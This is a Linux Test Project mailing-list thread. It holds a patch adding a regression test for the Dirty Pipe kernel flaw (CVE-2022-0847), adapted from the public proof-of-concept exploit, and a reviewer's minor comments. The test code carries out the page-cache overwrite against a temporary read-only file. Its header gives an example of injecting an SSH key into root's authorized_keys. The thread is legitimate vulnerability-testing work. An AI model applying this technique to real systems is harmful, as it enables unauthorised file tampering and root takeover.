 cve-2020-25704 perf_event_open03
diff --git a/runtest/syscalls b/runtest/syscalls
index 36fc50aeb..3aead3c86 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1034,6 +1034,7 @@ process_vm_writev02 process_vm_writev02
 
 prot_hsymlinks prot_hsymlinks
 dirtyc0w dirtyc0w
+dirtypipe dirtypipe
 
 pselect01 pselect01
 pselect01_64 pselect01_64
diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
new file mode 100644
index 000000000..fdf39eed2
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/.gitignore
@@ -0,0 +1 @@
+/dirtypipe
diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
new file mode 100644
index 000000000..5ea7d67db
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
new file mode 100644
index 000000000..ae6764351
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
@@ -0,0 +1,175 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * Author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Ported into LTP by Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include "tst_test.h"
+
+#define TEXT "AAAAAAAABBBBBBBB"
+#define TESTFILE "testfile"
+#define CHUNK 64
+#define BUFSIZE 4096
+
+static int p[2] = {-1, -1}, fd = -1;
+static char *pattern_buf, *read_buf;
+
+static void check_file_contents(void)
+{
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+	SAFE_READ(1, fd, read_buf, 4096);
+
+	if (memcmp(pattern_buf, read_buf, 4096) != 0)
+		tst_res(TFAIL, "read buf data mismatch, bug exists");
+	else
+		tst_res(TPASS, "read buff data match, bug doesn't exist");
+}
+
+/*
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(void)
+{
+	unsigned int pipe_size, total, n, len;
+	char buffer[BUFSIZE];
+
+	SAFE_PIPE(p);
+	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
+
+	/*
+	 * fill the pipe completely; each pipe_buffer will now have the
+	 * PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_WRITE(1, p[1], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
+	 * flags initialized)
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_READ(1, p[0], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * the pipe is now empty, and if somebody adds a new pipe_buffer
+	 * without initializing its "flags", the buffer wiill be mergeable
+	 */
+}
+
+static void run(void)
+{
+	off_t offset;
+	int data_size, len;
+	ssize_t nbytes;
+
+	offset = 1;
+	data_size = strlen(TEXT);
+
+	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+
+	prepare_pipe();
+
+	offset = 0;
+	/*
+	 * splice one byte from the start into the pipe;
+	 * this will add a reference to the page cache, but since
+	 * copy_page_to_iter_pipe() does not initialize the "flags",
+	 * PIPE_BUF_FLAG_CAN_MERGE is still set
+	 */
+	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0)
+		tst_brk(TFAIL, "splice failed");
+	if (nbytes == 0)
+		tst_brk(TFAIL, "short splice");
+
+	/*
+	 * the following write will not create a new pipe_buffer, but
+	 * will instead write into the page cache, because of the
+	 * PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	len = SAFE_WRITE(1, p[1], TEXT, data_size);
+	if (len < nbytes)
+		tst_brk(TFAIL, "short write");
+
+	check_file_contents();
+	SAFE_CLOSE(p[0]);
+	SAFE_CLOSE(p[1]);
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	memset(pattern_buf, 0xff, BUFSIZE);
+	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
+}
+
+static void cleanup(void)
+{
+	if (p[0] > -1)
+		SAFE_CLOSE(p[0]);
+	if (p[1] > -1)
+		SAFE_CLOSE(p[1]);
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+	.bufs = (struct tst_buffers []) {
+		{&pattern_buf, .size = 4096},
+		{&read_buf, .size = 4096},
+		{},
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9d2231c5d74e"},
+		{"CVE", "CVE-2022-0847"},
+		{},
+	}
+};
-- 
2.27.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH v2] security/dirtypipe: Add test for CVE-2022-0847
  2022-07-12  4:03   ` [LTP] [PATCH v2] " Yang Xu
@ 2022-07-13  5:19     ` Richard Palethorpe
  0 siblings, 0 replies; 5+ messages in thread
From: Richard Palethorpe @ 2022-07-13  5:19 UTC (permalink / raw)
  To: Yang Xu; +Cc: ltp

Hello,

Yang Xu <xuyang2018.jy@fujitsu.com> writes:

> +static void run(void)
> +{
> +	off_t offset;
> +	int data_size, len;
> +	ssize_t nbytes;
> +
> +	offset = 1;

Still setting offset to 1.

> +	data_size = strlen(TEXT);
> +
> +	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +
> +	prepare_pipe();
> +
> +	offset = 0;
> +	/*
> +	 * splice one byte from the start into the pipe;
> +	 * this will add a reference to the page cache, but since
> +	 * copy_page_to_iter_pipe() does not initialize the "flags",
> +	 * PIPE_BUF_FLAG_CAN_MERGE is still set
> +	 */
> +	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);

As offset is 0 we can just pass NULL. Otherwise all looks good, I'll fix
it up and merge it.

-- 
Thank you,
Richard.

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2022-07-13  5:22 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-07-07 10:44 [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847 Yang Xu
2022-07-11 10:26 ` Richard Palethorpe
2022-07-12  1:44   ` xuyang2018.jy
2022-07-12  4:03   ` [LTP] [PATCH v2] " Yang Xu
2022-07-13  5:19     ` Richard Palethorpe

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.